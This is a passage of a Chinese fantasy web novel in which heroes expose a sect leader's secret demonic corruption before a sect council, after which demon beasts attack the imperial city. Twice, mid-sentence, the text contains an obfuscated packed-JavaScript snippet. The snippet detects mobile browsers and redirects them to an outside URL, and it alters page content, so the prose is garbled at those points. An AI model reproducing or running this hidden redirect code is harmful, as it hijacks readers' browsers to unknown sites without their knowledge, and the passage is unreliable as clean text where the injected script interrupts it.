他声音颤抖着,头垂得极低。见状,陆闻朔的语气不禁松动了几分:“你...唉!”他重重叹了一口气,“几日前,我应百姓之请去往郊外密林除魔,不曾想却撞见你在吸取死去魔兽的魔息。” 陆闻朔面露痛切,甩袖道:“身为一宗掌门,你怎可糊涂至此啊!” 梁惜因注意到,自白元绪出现后,画面就变得异常连贯起来。养灵符上的微光跃动着,像一团燃烧的火焰。 白元绪还在哽咽着:“是,元绪知错...” “你这般已有多久了?”陆闻朔突然问道。 白元绪默了片刻,答道:“...不到半月。” “来得及。”画面晃动着,陆闻朔似是在来回踱步,“此事我不会向任何人说起。从今日起,我每日都会过来,替你洗灵。” “洗灵?”白元绪瞪大双眼。 “自然是洗灵。眼下你体内积聚的魔息尚少,还能洗去,再迟一些就真的毫无办法了。”说着,他搀扶着白元绪站起。 白元绪虽是站了起来,腰却还是弯着,双目无神。他勉力笑了笑,说:“不过是小问题罢了,这点魔息,影响不了什么。洗灵极为耗神,怎可劳烦陆家主?” “小问题?”陆闻朔拔高嗓音,“魔息 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画面重又闪烁起来,呈现的片段愈来愈杂乱无章,祝轻云的泪水,白元绪的笑面,密室中满地的魔兽尸体...最后定格在了祝轻云空洞的面容上。 那是他最后一次清醒,只为替死去的爱人挡下那一剑。 画面彻底暗下,与黑夜融于一体,好似方才什么都未发生过。浮在半空中的养灵符飘扬着落下,回到了梁惜因手中。梁惜因用灵力感应了番,里头的残魂已是虚弱无比了。 她将符纸仔细收好。哪怕只是残魂一缕,只要好好养护着,也终有能真正重回人世的那一日。 梁惜因理了理思绪,说:“这般看来,陆家主发现了白元绪入魔,他劝阻不成,反倒被下了冥龟子。” “冥龟子既是在他手中,破了漆吴山大阵的,也只能是他了。”重霄接道。 “不错,只有破了封山大阵,采够长芜草,才能炼化出冥龟子,再将冥龟子用于害人。”梁惜因将这些事串连起来,“可冥龟子的炼化往往需要月余,他莫不是在一个多月前就已想要害陆家主了?” “不一定,他许是计划着要害别人,只不过凑巧被陆闻朔撞上了。”重霄说。 梁惜因继续思索着:“还有寒林秘境的幽炼阵,虽都说是魔族所为,但我总觉此事也与他脱不了干系。但他是剑修,我此前又从未听说过他在阵法上有何造诣。” 顿了片刻,她又说:“不过也可能只是他未显露于人前罢了。” 重霄不无嘲讽地道:“苍梧宗的白掌门,光风霁月,谁又能料到他会入魔呢?” “是了,”梁惜因初听此事时,心下也很是唏嘘了一番,“他入魔的时日定然不止他所说的半月,若近来发生的一切当真都是他所为,那目的无非是再挑两族战争,好让他坐收渔翁之利。其野心之大,已是全然不将天下苍生放在眼中了。” 重霄嗤道:“入了魔的修士,自是什么都做得出来。” 说完,他又换了副语气,柔声问梁惜因道:“阿因接下来有何打算?” 梁惜因看向手中捏着的几张留影符,眸色坚定:“去捉恶鬼。” 88. 出击 两人准备离开了,重霄便将布在陆府的隔绝阵给撤了。 透明的屏障一消失,半空中就有一道黑影跌落下来,正好落在了二人正前方的地面上。 重霄动作极快,反手将梁惜因护在身后,却见闻影呲牙咧嘴地从地上坐了起来。 重霄:“......” 梁惜因从他背后探出个脑袋:“咦,这位是...” “闻影。”重霄简短道。 “啊,我知道,是和你一起住在山上的魔族小朋友。” 闻影本来正歪着脑袋打量她,一听此言,顿时露出了个笑容来,要是他身后长了尾巴,此刻怕是早就摇起来了。他从地上跃起,张着嘴巴,双手胡乱比划着什么。 梁惜因扯了扯重霄,轻声问:“他怎么说不出话?” “蚀骨忠。” 梁惜因了然:“白元绪?” 重霄点头。梁惜因拧紧双眉,布邪阵、炼魔兽、下恶咒...这人的野心与手段,远比她想象的要大。 闻影越比划越着急,梁惜因又问重霄道:“他想说什么?” “他说他知道你。” 梁惜因唇角噙着笑:“我也知道你,闻家的幻身咒天下闻名,你能练成如今这般水平,定是下了不少功夫吧。” 闻影笑得更欢,他点点头,又摇摇头。 梁惜因看懂了:“我看出来了,你天资这么高,练起来自然要比旁人轻松些。” 闻影挺着胸脯,很是骄傲的模样。重霄把人从梁惜因面前拉回来:“行了。” 闻影被他提着衣领,踉跄了几下重新站定,又开始冲重霄比划起来,其表情之丰富、动作之多样,直令梁惜因心中称奇。 更奇的是,重霄竟是全都看明白了,他道:“此事说来话长。你只需记住一点,阿因是我的爱人,你万万要尊重她。” 梁惜因心跳漏了半拍,就这么...直白地说出来了? 他说的坦然,并无半点自卑与犹疑。梁惜因笑容更深,握住了重霄的手。她知道,重霄已是彻底放下了心结。 闻影猛地倒吸一口气,化作一道黑影绕着陆府跑了三圈。 梁惜因:“......” 重霄:“......” 少顷,他在两人面前刹住步子,又抬手比划了一通,双眼放光。 重霄笑了笑:“这你问我可没用,要看她答不答应。” “什么?”梁惜因问。 重霄偏过头看她,眸中潋滟着脉脉情意:“他问,你会不会去漆吴山。” “当然。”梁惜因回望着他,“等事情了结后,我便与你们同去。” 闻影激动地又想再跑个三圈,重霄扯住他衣服后领:“说正事,贺千遮那边情况如何?” “你让他去盯着贺峰主了?” “没错,内鬼不得不防。”重霄接过闻影从衣领里扒拉出的留影符。 符纸缓缓上升,半空中旋即浮现出一道影像。只见贺千遮独自一人立在院中,片刻后,一名身着玉衡峰服饰的弟子走了进来,行礼道:“师尊,掌门派人前来相告,说明日要各峰主和长老前去苍梧宗参加集议。” 玄晖宗虽为绝大多数人眼中的仙门第一大宗,但因谢既微常年闭关,性子淡泊,是以一旦发生什么大事,往往都由苍梧宗召开集议。 贺千遮没动,只是吩咐道:“你去告诉天枢峰的人,就说我不去了。” “可...” “我不过是名医修,去了也无用。你就说我要炼药,掌门那边会同意的。”他缓声说。 “...是。”弟子犹豫须臾,还是应下了。 梁惜因不知贺千遮又立了多久,因为影像就录到这里,像是录符的人已经没耐心等下去了。 “苍梧宗要开集议,定是要讨论怎么对付你我二人。”梁惜因语气肯定。 闻影想必也是听闻了重霄身份暴露一事,所以特来提醒,好让他们早做准备。 “那就让他们讨论去,看能讨论个几年。”重霄不以为然。 梁惜因轻笑,是了,以这些宗门聚到一起的效率,还不知要商讨到哪年哪月去,尤其遇上的还是“魔尊复生”这一大事。 “问题是,贺峰主为何不去?白元绪既是幕后黑手,那他极有可能是白元绪安插在玄晖宗的内应。”梁惜因面色沉了几分,“若说是避嫌,这么多修士都会去参加集议,完全没必要。更像是白元绪给他安排了什么任务,或者更简单些,两人只是单纯地闹翻了。” “闻影此前给过我另一张符,这两人确实有矛盾。”重霄补充道。 梁惜因颔首:“至于贺峰主为何会听命于白元绪,他们之间又有何冲突,怕是只有亲口去问才能知道了。”她抬眸,与重霄对视着,“明日苍梧宗不是要开集议吗,那我们便去来一出瓮中捉鳖。” 重霄扬起唇角,也说:“黄雀在后。” 闻影的视线在二人间来回移着,他不甚明白这两个词的意思,但这并不妨碍他激动得直跳脚。 “你继续去盯着贺千遮。”重霄无情道。 闻影立马蔫了。 梁惜因摸了摸他的脑袋:“去吧,若是有什么应付不了的情况,立刻来找我们二人。” 闻影又乐了,还没待有下一步动作,就见重霄目光冰冷地盯着他. 闻影:“......”好的,他明白了。 黑影一闪,转眼间,他就从二人面前消失了。 他走后,重霄将梁惜因抱入怀中,把脑袋埋入她颈间,呢喃道:“阿因...” 他的发丝蹭在梁惜因的脸上,丝丝缕缕,痒极了。梁惜因也伸手环住他:“好了,明日还有要事呢。” “那些事哪有阿因重要。”重霄的声音在她耳畔响起,闷闷的。 明月慵懒地从乌云后缓步而出,向人间洒下一捧如水的银辉,将万物都浸染其中。 “两百年了,好些地方如今也不知是何模样。待事情都了结后,阿霄可愿与我一同去看?” 重霄在她唇上虔诚地映下一吻,“好。” - 次日,苍梧宗内。 自交流盛会后,苍梧宗又一次迎来了四方修士。所不同的是,上次人人都面带笑意,彼此间寒喧声不断,而此次无人不是忧心忡忡、阴云覆面。 主殿内,白元绪拢了拢衣袖,声音传遍了每个角落:“诸 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“梁含盈当初就是布阵不成,反被重霄杀害,此事众人皆知。若非其中暗藏猫腻,谢掌门又如何解释如今他们二人重归世间?” “是啊,谢掌门,身为一宗掌门,你又素来与梁家兄妹亲近,难道对此事当真就一点也不知情?” “证据?若是有了证据,那你我还在这商讨什么?” “魔尊复生一事,关乎着世间安危,还望谢掌门将一切如实相告。” 谢既微垂在身侧的手动了动,终是没有按上腰间的长昀剑,他正欲开口,白元绪却先他一步道:“诸位,谢掌门说得在理,没有证据,那你我不过是在妄加揣度。魔尊复生一事已成定局,现在该商议的,是要如何应对此人。” “白掌门说的是,此事拖不得。” “如何应对?当然是将人杀了。众前辈当年既是能杀他一回,就我们能再杀他第二回。” “说得容易,何时杀?如何杀?这总得有个对策吧,你我现在连他身在何处都不知。” “这还不容易,魔尊弑杀成性,这几日定会有地方遭殃,到时再赶过去不迟。” “不迟?等你赶过去,那魔头早走了!” “那你说要如何?就在这儿站着,等魔尊自己送上门来吗?” “未尝不可。”一道清亮的女声响彻殿内,梁惜因款款走来,身后跟着面无表情的重霄。身份既已暴露,他也没再掩饰眉间的“怨”字纹样与两枚朱砂痣,众人一看便知他是何人。 一直心不在焉的玄仪子振了振神,好戏,要开场了。 殿中静默一瞬,紧接着乱作一团。 “魔尊!是魔尊重霄!” “救命,快逃...快逃啊!” “慌什么?这么多修士在此,还怕他一人不成!” “好大的胆子,你既是主动来送死,就休怪我们不客气!” 此人话音一落,竟真有几道剑影和符纸向他们二人袭来。下一秒,这些袭击就全被翻涌的怨气挡了回去,连带着施招的修士也都受到了重创,口吐鲜血跌倒在地。 在众人惊慌的视线中,重霄眼神阴鸷,缓缓吐出了四个字:“不自量力。” 89. 困兽 此举可谓是效尤显著,众修士顿时不敢再有其他动作,不约而同地噤声后撤着,在中间空出了一块地。 梁惜因回头看了眼重霄,重霄会意,收敛了周身怨气。 梁惜因向前几步,朗声道:“我们今日来此,并非是有意闹事,而是想告知诸位一些事。” 见重霄似乎真没有要杀人的打算,众修士的胆子又大了起来,纷纷议论道:“什么事竟要劳烦你们二位特来相告?” “含盈前辈,你万不可被这十恶不赦之徒迷惑!我知你定还是心向正道的!” “我看他们根本就是一伙的!什么告诉我们一些事,不过就是缓兵之计!” “诸位,事已至此,不妨一听。”谢既微沉稳的声音安定着众人的心神,他看向前方,“白掌门,你看呢?” 白元绪也是完全没料到这一变故,他在怔了几息后重新挂上笑容,示意梁惜因但说无妨。梁惜因到底是前辈,面子还是要给的。 在场的所有人都密切注意着梁惜因的举动。她往旁侧退了几步,手中的留影符闪着微光,一道影像出现在半空中,也出现在了众修士眼中。 众修士半仰着头,语气意外:“咦,那不是白掌门吗?” “这声音?是陆家主!” “他们在说什么?什么入魔?” 影像才堪堪放出,白元绪就站不住了。“哪里录来的胡乱片段,竟也敢置于此处扰人视听!”他沉着脸,慌忙上前。 重霄掌中怨气蓄势待发,而谢既微的动作更快。长昀出鞘半分,露出的银白剑身在日光下闪烁着微芒,几道剑影从中飞出,将白元绪围困其间。 梁惜因一直观察着白元绪,是以并未错过他眼中一闪而过的暗色,那似乎是...一抹屈辱。 白元绪运转着周身灵力,却没能将那几道剑影破开,他没有拔出怀离剑,不知是觉着拔了也无用,还是不想和玄晖宗彻底撕破脸。 被困在原地,他的神情反而松了下来,笑道:“费这么多心思做一段假影像,我倒要看看二位究竟想要如何。” 影像的内容很少,不多时就放完了,而殿内诸人却是被震惊得久久没回过神来。 “什么?!白掌门入魔了?怎么可能!” “陆家主一片苦心,他怎就领会不到呢...” “他这话...是打定主意要一条道走到头了。” 一旦白纸沾染上污点,就再不能回到原本的洁白。只能任由那污点越扩越大,最终覆满整张纸。 “陆家主被冥龟子附身一事,不知可与白掌门有关?” “这么说,我好像确实看见一个极类瓢虫的黑影。” “冥龟子的炼化离不开长芜草,若真是如此,那破开漆吴山大阵的人...” “以白掌门的修为,做到此事似乎也并不难。” 有人怀疑,自然也会有人维护。 “一派胡言!简直是一派胡言!白掌门一片赤心,怎会做出这些无耻之事来!” “白掌门修为高深,又料理着一宗事宜,除非疯了才会去碰那些歪门邪道。” 两方很快吵作一团。 “事实如何,这留影符可是清清楚楚地录下了,还有何可辩驳的!” “知人知面不知心,你们就这般了解他的为人吗?” “白掌门不是就在此吗,何不直接去问他?” 殿内慢慢静了下来,所有人的目光都落在了白元绪身上。他笑了笑,缓缓开口说:“诸位是相信白某,还是宁愿去信一个魔头和与他同流合污之人?” 他不承认,他当然不会承认。两次大战后,整个修仙界都对魔族深恶痛绝,一旦有修士被发现与魔族扯上了关系,那必是前途尽毁,更别说是入魔了。 问题顺理成章地被抛向了梁惜因这边,她早有预料,将养灵符捏在指尖:“符中养着的陆家主的残魂,是我在陆府的聚灵草上引来的。留影符中的内容,则是我从以此符为媒介布下的回溯阵中录得的,诸位若还有疑虑,我尽可再布一次阵,只是陆家主的魂魄恐怕禁不起这般折腾。” 众人的视线飘忽着,显然她这番话并不足以完全取信。 梁惜因又取出一张符,面对着白元绪,继续说:“白掌门既是这般信誓旦旦,不妨来试一试我手中这张引气符。” 白元绪不语,直直地盯着梁惜因。他面上分明还是笑着的,却莫名令梁惜因感到一阵恶寒。 苍梧宗有长老劝他道:“掌门,让他们试一试又何妨,我倒要看看他们待会还要如何攀扯!” 梁惜因环视了一遍殿内修士:“诸位若是对我手中的符不放心,尽可以自己画符来试。” 引气符可以测得修士体内灵力的纯度,以及是否沾染了其余气息,例如魔息。因绘制复杂和作用的场合少,并不常见。 苍梧宗的一名符修长老当场绘了一张,他走到被剑影围着的白元绪身前,恭敬问道:“掌门,可否容在下一试?” “请便。”白元绪说。他甚至还展开双臂,看上去配合无比。 不对劲,事情已发展到了这种地步,他不可能还如此镇定。梁惜因飞速思索着,除非...他已有了别的算计。 脑海中闪过什么,“快躲开!”她猛地对那长老喊道。 话音落下的瞬间,殿外突然传来巨响,如山动雷震,其间还夹杂着苍梧宗弟子惊慌失措的喊声:“魔兽!好多魔兽!” “这是...魔息!还有怨气!从哪冒出来的!” “不好,它们要往山下去了!” 骤变之下,这些弟子也顾不得什么集议不集议的了,当即闯进来道:“众位前辈,出大事了!宗内莫名出现了好多魔兽,弟子们根本应付不过来,有些已经奔到山下去了!” 遭了!梁惜因骤然回头,却见白元绪早已没了踪影,只余几道魔息缠绕在剑影之上。 事实昭彰,殿内所有修士这下都明白了,满脸的难以置信。尤其是苍梧宗诸人,无不面色灰白,讷讷不能言。 白元绪,当真入魔了! 他是一走了之了,众修士神色茫然,目光自然而然地落在了谢既微身上。 谢既微走上前,当机立断道:“先下山,保护百姓!” 众修士得令,殿内顷刻间就变得空荡起来。梁惜因没有第一时间离开,她走向梁惜时和谢既微,唤道:“哥,既微哥。” 梁惜时略带无奈地看着她:“你啊,也太冒险了。” 梁惜因笑说:“这么多修士在此,他还真能把我怎样不成?” 梁惜时含笑摇了摇头。谢既微指尖绕着一缕从剑影上引来的魔息,神情严肃:“这魔息浓郁,白元绪入魔已深,绝不止他所说的半月。” 梁惜因也正了神色:“皇城和苍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14943163|152851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 梧宗是他的主场,他以魔息从中挣脱,身上必然带着伤,极有可能并未走远。” 几人对视一眼,“走!” 梁惜因和谢既微不再迟疑,踏入缩地阵中。梁惜时没有入阵,他站在一旁,对重霄说:“保护好她。” 重霄郑重应声:“哥,放心。” 梁惜时:“......” “谁是你哥!” - 一刻钟前,皇城茶楼。 柳甫畅不断开合着手中折扇,怀疑地道:“我们在这当真能遇上师、师太祖吗?” 燕明昭双手托腮:“你想啊,几乎所有宗门都派修士来此了,谢掌门和梁前辈也在这,师太祖难道就不想再与他们见上一见吗?” “可师尊让我们待在宗内...”谢淳抿了口茶,“...算了。” “是啊谢师兄,来都来了,再说那些有何用。”杜昱拍了下他的后背,险些令谢淳将刚喝的茶水吐出来。 江映和靠在窗边,问道:“所以你们为何非要见到含盈前辈不可?” 苏柚整理着乾坤袋中的瓶瓶罐罐:“含盈前辈破了幻阵,永怀村得以重归安宁。我还未来得及亲口和她道一声谢。” 燕明昭叹了口气:“眼下师太祖和魔尊待在一起,若是他们真在皇城,一旦被那些宗门发现,定会被群起攻之。我们待在此处,说不定还能帮上什么忙,替他们辩白几句。” 柳甫畅附和道:“师姐说得有理。” 谢淳半垂着眸,这想法不可谓不天真。两族仇恨积久成渊,又岂是他们几人三言两语就能减轻的?冲突真的发生时,又有谁会愿意听他们几个小辈之言?他心中对这些一清二楚,却没有将之说出来。 纵是心知肚明又如何,他们既然来了,就总比不来要好。 他将手中茶盏搁下,蹙眉说:“我们不清楚的事太多了,来此也不过是为寻求一个真相。” 杜昱手中抛着个蜜橘:“难道你们就不觉着刺激吗?平时待在一起的人,一个是阵法大能,一个是魔尊,想想就不可思议好吗!接下来说不定还有更不可思议的,比如什么魔尊当众诉冤情,皇天突降鹅毛雪。” 他说得头头是道,表情丰富。末了,又叹道:“唉,只可惜叶兄不在此,不知要错过多少奇事。” 其余几人:“......” 谢淳的目光幽幽地飘向柳甫畅,柳甫畅将脸埋在扇子下:“我错了,我再也不给他看话本了。” 见无人搭理他,杜昱纳闷道:“怎么?我说得没道理吗?” 江映和眼神飘忽,违心道:“哪有,杜兄说得对极了。” 杜昱仰起头,整个身子都靠在了椅背上,他将手中的蜜橘抛给江映和:“那你呢,来此作甚?就不怕有危险?” 江映和稳稳地接住橘子,边剥边嗤道:“危险?你们都不怕,我又有何好怕的?况且你们都来了,我总不能还留在宗内吧?” “说得对。”杜昱说道,旋即以迅雷不及掩耳之势将江映和手里刚剥好的橘子塞到了自己嘴中。 江映和:“......” 他两手按着杜昱的肩,狠狠地摇晃着:“你小子没长手是不是!给我吐出来!” 不知是不是他摇得太用力,杜昱竟真从鼓鼓囊囊的嘴中喷出了些橘子汁来。 江映和:“......滚啊!!!” 90. 幸逢 他们这闹得动静太大,茶楼中有不少人都将目光投来。 谢淳忙以手示意两人安静下来:“楼内修士不少,勿要惹人注目。” 杜昱艰难地将口中橘子咽了下去:“修士?什么修士?” 他在楼内环视一圈,渐渐敛了神色。谢淳所言不假,楼中多数人皆是风范不凡,杜昱感受着他们身上隐隐透露出的灵力,这其中大部分人估计都是已很少露面的前辈大能。 柳甫畅有一下没一下地摇着扇子:“这集议一开,皇城中来的人可真不少。” 苏柚发愁地说:“不知他们可能感知到含盈前辈和魔尊现下在哪。” 燕明昭摇头:“只怕是不行,不然这些前辈也不会和我们一样待在此处静观其变了。” 苏柚:“也是。” 就在这时,她摆在桌上的瓷瓶忽然晃动了几下,朝着地面滚落。苏柚眼疾手快地将瓷瓶接住,心有余悸道:“怎么回事?” 不,不是瓷瓶在晃,是整个地面都在晃。几人和楼中其余修士一同站起身,江映和本就站在窗边,他朝外望去,好一会才找回自己的声音:“...出事了。” 不远处的翠色山峦被黑雾笼罩着,这些黑雾如滚滚洪流,呼啸着奔向凡尘。与黑雾一同奔腾而下的,是咆哮嘶吼着的魔兽,它们体形高大,面容狰狞,仿若从地狱而来。 霎那间,地动山摇,邪魔当道。 几人无不变了脸色。黑雾的源头,分明是苍梧宗所在之处! - 魔息交杂着怨气在宽阔的街道上横行,遮天蔽日,将整个皇城都笼罩在了阴影下。魔兽眼泛红光,在房屋和商铺间横冲直撞,见人就要扑上去撕咬。城中的百姓哪能料得到此等大祸,无不惊慌失措,哭喊着四处奔逃。道旁摊贩的货物滚了一地,却已是无人顾得上了。 昔日繁华的皇城转眼间就变得有如炼狱。人群拥堵在一起,谁都想跑得更快些,有人在推搡中跌倒在地,挣扎着想要再站起身。 “救命啊,救命!不要杀我,我不想死!” “好可怕的妖怪,我要娘亲,娘亲呜呜呜...” “快逃啊!...怎么这里也有妖怪!” 有些百姓慌不择路地逃到一处小巷中,眼见高大的魔兽一步步逼近,退无可退的他们绝望地闭上了双眼,蜷缩成一团的身子不断颤抖着。 几乎是在魔兽张开血盆大口的同时,就有刀剑携着万钧之势而来,将魔兽的头颅斩落在地。鲜血喷溅出来,血雨般洒落在地面上,蒸腾出缕缕黑气。 众人瞪大双眼,在短暂的震惊过后,顿时全都跪下来感恩戴德:“多谢仙长!多谢仙长!” 其中一名剑修立马说道:“别谢了快起来,找个地方躲着去,外面太危险了。” 他甫一说完,黑雾就尖啸着向他们几人扑来。这几名修士全都是剑修和刀修,对此毫无办法,手忙脚乱地掏着身上备得不多的符纸。 千钧一发之际,一道金光从地面升起,挡在了他们面前。黑雾触及金光,翻腾着向后退却。 是阵修!几名修士面色一振,正要道谢,却在看清来人的一刹那没了言语。 布阵的不是别人,正是才从山上下来的梁惜因。重霄站在她身侧,哪怕什么动作都没有,也依旧令他们感受到难言的威压。 事实已明,是入了魔的白元绪导致了这一切。可他们心中根植着的对“魔尊”一词的恐惧与厌恶却不是那般容易消弭的,更别提还有个立场不明的梁惜因在。 几人正不知所措着,梁惜因却根本无暇顾及他们。 她继续在街道上走着。在看见一道身影后,她大步迈向前,揪住那正给百姓布护体阵的苍梧宗阵修长老,厉声问:“祁长老,皇城的防护阵为何启用不了?” 祁长老将手头的阵布好,回头一看是梁惜因和重霄,吓得面色苍白。他缓了一会,老实答道:“防护阵...被破坏了。” 梁惜因岂会不知,破坏防护阵的,也只会是对皇城极为了解且修为高深的白元绪。她紧接着又问:“防护阵每五十年便要重新布一次,里头凝结着历代阵修的心血,怎会这般容易就被破坏?” 她语速极快,祁长老本就苍白的脸愈发毫无血色,支吾道:“大战过后,防护阵便一直没重布过。” 大战过后?那岂不就是说皇城的防护阵还是两百多年前的,修仙界莫不是真以为重霄走后这天下便自此太平了? 梁惜因沉着脸,重霄自然也是面色不善。祁长老双腿发软,差点就要跪了。 梁惜因将他松开:“你先去给百姓布阵,并随时准备重布防护阵。” 祁长老擦着额上的冷汗,连声答应,忙不迭地跑了。 他走后,梁惜因望向重霄,轻声说:“这回怕是又要麻烦阿霄了。” 重霄笑道:“小事罢了。” 他抬起手,与魔息混杂在一起的怨气受到召唤,争相向他体内涌来。少了怨气,浓稠的黑雾霎时被削去了一半,阳光见缝插针地挤进来,给昏暗的混沌人间带来丝丝亮色。 有重霄在此,魔息和魔兽也全都识趣地退避三尺,不敢上前来。周遭的百姓察觉到了这一点,慢慢聚集在了他们身边。 “菩萨降临!定是菩萨降临!” “好生厉害的仙法!两位仙长修为竟如此高深!” “快来啊,这边有仙长做法!” 有些人更是直接伏地要拜,梁惜因正要扶人,却感到脚下的地面震颤起来。百姓们才缓过来的脸色一变,哭喊道:“妖怪!妖怪又来了!” 他们惊恐地想往后躲,又不敢离他们太远,就这般欲退不退地缩在二人身后。 梁惜因被重霄搀扶着,听着响彻皇城的虎啸声,喃喃道:“不,不是妖怪...” 音落,一只吊睛白额的猛虎跃现在众人面前。它的体型足足要比寻常老虎大了三倍有余,双目炯炯有神,嘴巴微张着,里头的獠牙锋利而尖锐,使人视之心悸。 有些胆子小的百姓已然吓昏过去了,余下的百姓虽还清醒着,也无一不是瑟瑟发抖,不敢出声。 老虎一步一步地走近,梁惜因这才注意到,那皮毛顺滑的虎背上还坐着个妙颜女修。 巨虎伏下身,等背上的女修在地面站稳后,起身化作了一名高大男修。梁惜因与重霄相视一眼,笑着小跑上前:“扶岳哥。” 两人搂了一下,扶岳的眼眶泛着红:“含盈,听说你回来了,我还不敢相信,两百年了,太久了...” 梁惜因心内感 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14948326|152851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 慨,宽慰他道:“没事了,扶岳哥,是我让你们久等了。” “回来就好,回来就好。”扶岳注视着她,重复道。 梁惜因将目光移向他身旁的女修,含笑说:“这位便是嫂子吧。” “悬济谷林韵舒,久闻含盈仙子之名,今日总算是得见了。”林韵舒盈盈笑着,对她行了一礼。 梁惜因回礼:“嫂嫂言重了。” 几人之间纵是有千般言语要诉说,此刻也断不是时候。简单聊了几句后,梁惜因敛了笑意,对扶岳说:“防护阵被破坏,我现在要找人重新布阵,皇宫那边就拜托你们二位了。” 扶岳点头:“放心好了,你们也多加小心。” 话毕,他再次化作大虎,伏在地面上让林韵舒坐上去,向着皇宫急奔而去。 扶岳是顺着怨气汇聚的方向寻来的,除了他们,还有不少修士也被吸引过来。梁惜因目光一扫,喊住一个正准备溜走的白色身影:“师尊!” 殷照身子一僵,慢吞吞转过头来,苦着脸告饶道:“师祖啊...” 梁惜因连忙改口:“好好好,殷峰主,来得正好,我这正缺人呢。” 皇城地广人丰,给这么一座城池布防护大阵,少说也要十名元婴修为以上的阵修。这放在以前是轻轻松松,但眼下事发突然,只能临时凑人了。 梁惜因让殷照先去救百姓,自己则一边给几位她知道的阵修传符,一边和重霄穿梭在街道中,身后望风跟来的百姓越来越多。没走多远,梁惜因瞥见一个浮空的龟壳,她一喜,几步上前将人拦下:“又找着一个。” 玄仪子眨了眨眼:“我一个玄修,可帮不上什么忙。” 梁惜因可不吃他这一套:“前辈,你的实力晚辈还是知晓的,莫要谦虚。” “行吧行吧。”玄仪子伸展双臂,活动着筋骨。 下一瞬,他似是感知到了什么,弯着笑眼对梁惜因说:“有人来了。” “谁?”梁惜因顺着他的视线望去,就见一高挑女修正快步向此处走来。她停在梁惜因面前,俯身便要拜:“师尊。” 梁惜因原地愣了几息,旋即赶忙将人扶住:“阿谧,这么多年没见,你倒是和我讲起这些虚礼来了。” 常谧身子一颤,依旧低着头,哽咽道:“徒儿闻知集议一事,从日出起便待在皇城中,想着说不定能见上师尊一面...” 梁惜因忍着泪意,眼前的女修灵力纯澈、气质清雅,但梁惜因知道,她这一路走来是多么不容易。她将手轻轻置于常谧肩上,回忆着从前种种,一时只觉恍如隔世,感慨万千:“我们阿谧,也是长大了。师尊让你受苦了。” 眼角泪水滑落,常谧抿唇摇头:“师尊教诲之恩,弟子没齿难忘。我知师尊有自己的苦衷,能再见师尊,就已是弟子此生之幸了。” 仙魔大战之时,常谧年岁尚小,她独自留在天璇峰上,等着梁惜因回来。可是,不论是师尊还是小师弟,都再也没有回来。 纪长天回宗前,整座天璇峰就只剩下了她一人。白日里,她强撑着应付各峰主和长老的慰问关照,所有人都觉着她坚强懂事。可到了夜晚,她独自躺在床上,抱着梁惜因留给她的那册书,泪水却是流了满面。 停灯向晓,抱影无眠。 91. 混乱 常谧抹了泪,淡笑着唤重霄道:“小师弟。” 方才就一直静默着的重霄顿了顿,片刻后才回道:“...师姐。” 常谧继续对几人道:“防护阵没有第一时间启用,定是出了差错。我已去符通知了师弟,不出意外的话,他也快赶来了。” 话落,一道清亮的鹤鸣划破天际,众人抬头望去,见一玄鹤展翅飞来,巨大的双翅在地面上投下一片阴影。梁惜因注意到,重霄的身子僵了一瞬。 飞近梁惜因几人时,玄鹤缓缓俯冲而下,在收起翅膀的瞬间化作一名俊秀青年。他几步走到梁惜因身前,拜道:“弟子纪长天,见过师尊。” 他动作太快,梁惜因想拦都没拦住,将人扶起后无奈道:“你们这都和谁学的,我何时同你们讲究起这些虚礼来了?” 纪长天站直后,梁惜因才发现他脸上的泪。她连忙掏出手帕,替他擦着泪:“怎么还哭了,师尊在这,没人敢欺负你。” 这句话纪长天以前听了无数遍,此刻再听,眼泪却是止不住地流。 “我不知道,明明是该高兴的事...我养好伤后,好不容易说服族中长辈让我回宗,可师尊却不在了,师弟也不在了...”他哽咽着说。 “对不起。”重霄忽然开口,一时所有人的目光都集中在了他身上。 他低着头,又重复了一遍:“师兄,对不起。”堂堂魔尊,眼下却只像是个做了错事乞求原谅的孩子。 纪长天面上挂着泪痕,回话时却是笑着的:“师弟不必如此,那件事我从未怪过你。”他垂下眸子,神情有些黯淡,“说到底还是我太弱了,没能在一开始就保护好师弟。” 重霄猛地抬起头,怔愣道:“我...” 他才堪堪吐出一个字,一旁围观了半天的玄仪子就道:“好了,有什么话回头再说,正事要紧。” “是了,”梁惜因肃了神色,“防护阵被破坏一事,想来你们也都知道了。” “师尊可凑够了人手?”纪长天问。 “还差四位。”远处几张符纸朝这边飞来,梁惜因抬手接住,“来了。” 她散去的符有十几张,其中包括她两百年前就认识的、现下大多已隐居的阵修,还有以“梁因”的身份回来后,知晓的几名修为高深的阵修。 许是忌惮她与魔尊同行,飞回的符并不多,仅有五张。但已是完全够了。 - 茶楼内。 在江映和话音落下后,几人像是被眼前的景象所震,陷入了短暂的静默。 “啊——”一声尖叫撕裂了沉寂的空气,也撕裂了皇城的和乐安平。 “快去救人!”不知是谁大喊了一句,几人同时从窗户一跃而下。 杜昱挥剑,斩向距离最近的魔兽的咽喉,喷溅出的鲜血落了满身。 谢淳迅速指挥着受惊的百姓:“莫要慌乱!就近找个商铺躲起来!魔兽由我们来对付!” 一片混乱与昏暗中,他的嗓音洪亮温润,安抚着被吓得六神无主的百姓们。 “仙长!救救我们吧仙长!” “仙长,我们什么都听您的,求您救救我们!” 